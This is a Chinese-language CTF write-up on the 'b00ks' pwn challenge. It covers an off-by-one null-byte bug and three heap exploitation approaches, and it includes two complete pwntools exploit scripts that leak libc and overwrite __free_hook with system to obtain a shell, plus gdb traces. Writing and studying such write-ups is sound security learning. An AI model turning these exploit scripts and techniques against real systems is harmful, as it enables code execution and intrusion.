前言:
这道题做得有点痛苦……因为本地通常都很难和服务器有相同的环境,使用mmap开辟空间造成的偏移会因此而变得麻烦,并且free_hook周围很难伪造chunk,一度陷入恐慌……
不过本来应该很早就开始Off-By-One的学习的,竟然现在才注意到……惭愧
正文:
book结构:
1 2 3 4 5 6 7
| struct book { int id; char *name; char *description; int size; }
|
程序具体的流程不做赘述,主要漏洞点出在sub_9F5函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| __int64 __fastcall sub_9F5(_BYTE *a1, int a2) { int i; // [rsp+14h] [rbp-Ch]
if ( a2 <= 0 ) return 0LL; for ( i = 0; ; ++i ) { if ( read(0, a1, 1uLL) != 1 ) return 1LL; if ( *a1 == '\n' ) break; ++a1; if ( i == a2 ) break; } *a1 = 0; return 0LL; }
|
i是从0开始计数的,假设输入a2=32,那么将会通过read读取32个字符,而在++a1之后,让第33个字符的位置被“\x00”覆盖,从而造成该漏洞
第一种方法:mmap拓展
该方法实用性似乎不是很高,主要的利用思路是:mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc
但这个偏移会因为不同的系统、不同的libc版本种种原因而发生偏差
笔者使用Ubuntu16的系统得出偏移后,成功在本地拿到了shell,但服务器那边却没能成功
也试着从其他师傅的wp里获取,但似乎因为BUU过去的系统升级等原因,那些偏移也没能成功,最后使用的是第二种方法拿到了服务端的shell,但其方法还是值得学习的,并且主要的思路同第二种方法是相同的
1 2 3 4
| .data:0000000000202010 off_202010 dq offset unk_202060 ; DATA XREF: sub_B24:loc_B38↑o .data:0000000000202010 ; sub_BBD:loc_C1B↑o ... .data:0000000000202018 off_202018 dq offset unk_202040 ; DATA XREF: sub_B6D+15↑o .data:0000000000202018 ; sub_D1F+CA↑o
|
IDA中可以看见名字与书的地址分布
二者相距很近,name为unk_202040,而book结构的的地址为unk_202060,因此,如果名字长达32字节,就能够泄露出第一个book结构的地址
同时,也因为上面所说的Off-By-One漏洞,我们甚至能将该book结构的最后一位置0
因此如果这样去设定:
1 2 3
| createname("a"*32) createbook(0xD0,"object1",0x20,"object2") createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')
|
1 2 3 4 5 6
| gdb-peda$ x /10gx 0x55da227e6040 0x55da227e6040:0x61616161616161610x6161616161616161 0x55da227e6050:0x61616161616161610x6161616161616161 0x55da227e6060:0x000055da231941300x000055da23194160 0x55da227e6070:0x00000000000000000x0000000000000000 0x55da227e6080:0x00000000000000000x0000000000000000
|
接下来如果我们打印出内容,就会把地址0x000055da23194130泄露出来
并且,因为堆的初始化是按页对齐的,而该程序的生成规律是:name——>des——>book
因此,设计好每个chunk的大小,那么当我们覆盖book的最后一个字节时,就能让其指向des
1 2 3
| gdb-peda$ x /10gx 0x000055da23194130 0x55da23194130:0x00000000000000010x000055da23194020 0x55da23194140:0x000055da231941000x0000000000000020
|
0x000055da23194100即为des,和book结构地址只有最低位不同
而des结构是我们可以任意写的,如果我们将其伪造成book结构,让这个fake book的des指向我们想要写的位置,那么我们就能达成任意地址写了
但话虽如此,我们还不知道应该往哪写
基本的想法是覆盖__free_hook或者__malloc_hook为system或one gadget
那么我们还需要泄露libc基址:
1 2 3 4 5 6 7 8 9 10 11 12
| book1_addr = u64(book_author[32:32+6].ljust(8,'\x00')) log.success("book1_address:" + hex(book1_addr))
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff) editbook(book_id_1, payload) changename("a"*32)
book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1) leak_addr=u64(book_name_2.ljust(8,'\x00')) log.success("leak_addr:" + hex(leak_addr)) # [+] leak_addr:0x7f5e8d2c4010 libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010) log.success("libc_base:" + hex(libc_base))
|
我们可以根据堆的开辟顺序得到book2的地址,然后将book1的name和des指向book2的name和des
此时如果再打印所有book,book1的name就会泄露出book而name块的地址,而name块是通过mmap开辟而来
1 2 3 4 5
| 0x00007f5e8cd12000 0x00007f5e8ced2000 r-xp/lib/x86_64-linux-gnu/libc-2.23.so 0x00007f5e8ced2000 0x00007f5e8d0d2000 ---p/lib/x86_64-linux-gnu/libc-2.23.so 0x00007f5e8d0d2000 0x00007f5e8d0d6000 r--p/lib/x86_64-linux-gnu/libc-2.23.so 0x00007f5e8d0d6000 0x00007f5e8d0d8000 rw-p/lib/x86_64-linux-gnu/libc-2.23.so 0x00007f5e8d0d8000 0x00007f5e8d0dc000 rw-pmapped
|
最后只需要将__free_hook写为system,然后把book2删除即可拿到shell
因为此时book1的des指向book2的des处,将该处改为__free_hook地址,那么写book2的des时就会往__free_hook处写入:
1 2 3 4 5 6 7 8
| system=libc_base+libc.symbols['system'] free_hook=libc_base+libc.symbols['__free_hook'] payload=p64(free_hook) editbook(1, payload) payload=p64(system) editbook(2, payload)
deletebook(2)
|
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import *
context.log_level = 'info' binary = ELF("b00ks") libc=binary.libc io = process("./b00ks")
def createbook(name_size, name, des_size, des): io.readuntil("> ") io.sendline("1") io.readuntil(": ") io.sendline(str(name_size)) io.readuntil(": ") io.sendline(name) io.readuntil(": ") io.sendline(str(des_size)) io.readuntil(": ") io.sendline(des)
def printbook(id): io.readuntil("> ") io.sendline("4") io.readuntil(": ") for i in range(id): book_id = int(io.readline()[:-1]) io.readuntil(": ") book_name = io.readline()[:-1] io.readuntil(": ") book_des = io.readline()[:-1] io.readuntil(": ") book_author = io.readline()[:-1] return book_id, book_name, book_des, book_author
def createname(name): io.readuntil("name: ") io.sendline(name)
def changename(name): io.readuntil("> ") io.sendline("5") io.readuntil(": ") io.sendline(name)
def editbook(book_id, new_des): io.readuntil("> ") io.sendline("3") io.readuntil(": ") io.writeline(str(book_id)) io.readuntil(": ") io.sendline(new_des)
def deletebook(book_id): io.readuntil("> ") io.sendline("2") io.readuntil(": ") io.sendline(str(book_id))
createname("a"*32) createbook(0xD0,"object1",0x20,"object2") createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')
book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00')) log.success("book1_address:" + hex(book1_addr))
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff) editbook(book_id_1, payload) changename("a"*32)
book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1) leak_addr=u64(book_name_2.ljust(8,'\x00')) log.success("leak_addr:" + hex(leak_addr))
libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010) log.success("libc_base:" + hex(libc_base))
system=libc_base+libc.symbols['system'] free_hook=libc_base+libc.symbols['__free_hook']
payload=p64(free_hook) editbook(1, payload)
payload=p64(system) editbook(2, payload)
deletebook(2)
io.interactive()
|
这是本地能够通过的方法,但受限于不能拿到服务端那边的偏移,所以只能在本地通过
第二种方法:
另外一种泄露方式,也是笔者成功在服务端那边打通的exp
其泄露libc基址的方法与第一种不同,通过unsorted bin中的fd指针泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| p.sendlineafter('name: ','a'*0x1f+'b') add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb') show() p.recvuntil('aaab') heap_addr = u64(p.recv(6).ljust(8,'\x00')) print 'heap_addr-->'+hex(heap_addr) add(0x80,'cccccccc',0x60,'dddddddd') add(0x10,'/bin/sh',0x10,'/bin/sh') delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20)) change('a'*0x20) show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
|
同样的方法泄露book1的地址,然后伪造book结构
其中,heap_addr+0x30这个地址将会指向被删除的book2处的fd指针地址,由此泄露libc基址
这种方法泄露的地址不依赖于系统,arena的基址有固定的计算方式,使用常规的2.23版本libc即可拿到正确基址(虽然本题没有提供libc,但BUU里大多2.23的libc都是同一个,直接拿过来用就行了)
参考文章中,“不会修电脑”师傅是通过FastBin Attack来拿shell,但笔者这里还是同第一种方法一样,直接复写__free_hook即可
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import *
#p=remote("node4.buuoj.cn",26109) p = process(['./b00ks'],env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF('./b00ks') libc = ELF("./libc.so.6") context.log_level = 'info'
def add(name_size,name,content_size,content): p.sendlineafter('> ','1') p.sendlineafter('size: ',str(name_size)) p.sendlineafter('chars): ',name) p.sendlineafter('size: ',str(content_size)) p.sendlineafter('tion: ',content) def delete(index): p.sendlineafter('> ','2') p.sendlineafter('delete: ',str(index)) def edit(index,content): p.sendlineafter('> ','3') p.sendlineafter('edit: ',str(index)) p.sendlineafter('ption: ',content) def show(): p.sendlineafter('> ','4') def change(author_name): p.sendlineafter('> ','5') p.sendlineafter('name: ',author_name)
p.sendlineafter('name: ','a'*0x1f+'b') add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb') show() p.recvuntil('aaab') heap_addr = u64(p.recv(6).ljust(8,'\x00')) print 'heap_addr-->'+hex(heap_addr) add(0x80,'cccccccc',0x60,'dddddddd') add(0x20,'/bin/sh',0x20,'/bin/sh') delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20)) change('a'*0x20) show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook'] __malloc_hook = libc_base+libc.symbols['__malloc_hook'] realloc = libc_base+libc.symbols['realloc']
print 'libc_base-->'+hex(libc_base) __free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system']
edit(1,p64(__free_hook)+'\x00'*2+'\x20')
print '__free_hook-->'+hex(__free_hook)
edit(3,p64(system)) delete(3)
p.interactive()
|
第三法:
这里是指通过Fast Bin Attack来写hook
但这种方法通常都很难精确地覆写,只能在目标附近寻址合适的位置伪造chunk
笔者在尝试该方法时遇到了比较特别的问题,特此记录一下
首先需要泄露libc基址,泄露方法同第二种方法完全一样,通过fd指针拿到了libc base,此时的bins内容为:
1 2 3 4 5 6 7 8 9 10
| fastbins 0x20: 0x0 0x30: 0x55a691fe2250 ◂— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x55a691fe21e0 ◂— 0x0 0x80: 0x0 unsortedbin all: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150
|
留意下述的地址,我们是能够在__free_hook周围找到一个能够用以伪造chunk的位置的
1 2 3 4 5 6 7 8
| gdb-peda$ p &__free_hook $1 = (void (**)(void *, const void *)) 0x7fc45e1737a8 <__free_hook> gdb-peda$ x /10gx 0x7fc45e1737a8-0x13 0x7fc45e173795 <_IO_stdfile_0_lock+5>:0xc45e3827000000000x000000000000007f 0x7fc45e1737a5 <__after_morecore_hook+5>:0x00000000000000000x0000000000000000 0x7fc45e1737b5 <__malloc_initialize_hook+5>:0x00000000000000000x0000000000000000 0x7fc45e1737c5 <narenas_limit.11257+5>:0x00000000000000000x0000000000000000 0x7fc45e1737d5 <aligned_heap_area+5>:0x00000000000000000x0000000000000000
|
那么,我们的目标就是将0x70: 0x55a691fe21e0的fd指向0x7fc45e1737a8-0x13就能成功伪造了,然后覆盖__free_hook为system即可
但笔者经过测试之后发现,这种方法是不可行的
尽管此刻,我们能够找到合适的位置伪造chunk,但当我们成功使用edit功能复写之后,这里将会被置零
1 2 3 4 5 6 7 8 9 10
| fastbins 0x20: 0x0 0x30: 0x55a691fe2250 ◂— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x55a691fe21e0 —▸ 0x7fc45e173795 <_IO_stdfile_0_lock+5> ◂— 0xc45de32ea0000000 0x80: 0x0 unsortedbin all: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150
|
1 2 3 4 5 6
| gdb-peda$ x /10gx 0x7fc45e1737a8-0x13 0x7fc45e173795 <_IO_stdfile_0_lock+5>:0x00000000000000000x0000000000000000 0x7fc45e1737a5 <__after_morecore_hook+5>:0x00000000000000000x0000000000000000 0x7fc45e1737b5 <__malloc_initialize_hook+5>:0x00000000000000000x0000000000000000 0x7fc45e1737c5 <narenas_limit.11257+5>:0x00000000000000000x0000000000000000 0x7fc45e1737d5 <aligned_heap_area+5>:0x00000000000000000x0000000000000000
|
可以注意到,此时,这里变得不再合适了
那么接下来在进行malloc的时候,将因为无法通过chunk size的检查导致程序直接crash
笔者目前不太清楚是什么原因导致了 _IO_stdfile_0_lock中的地址被清除了,若以后得知,到那时再做补充吧
提供的代替方案之一是:覆盖__malloc_hook为某个one_gadget,然后通过realloc调整栈帧,最后用malloc来获取shell
在该方案中,__malloc_hook附近始终都有适合用于伪造的位置,因此这个方法是可以成立的,笔者也同样在该方法中拿到了shell,具体的exp请参照参考文章第二篇
参考文章:
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/#_1
https://www.cnblogs.com/bhxdn/p/14293978.html
插画ID:91452046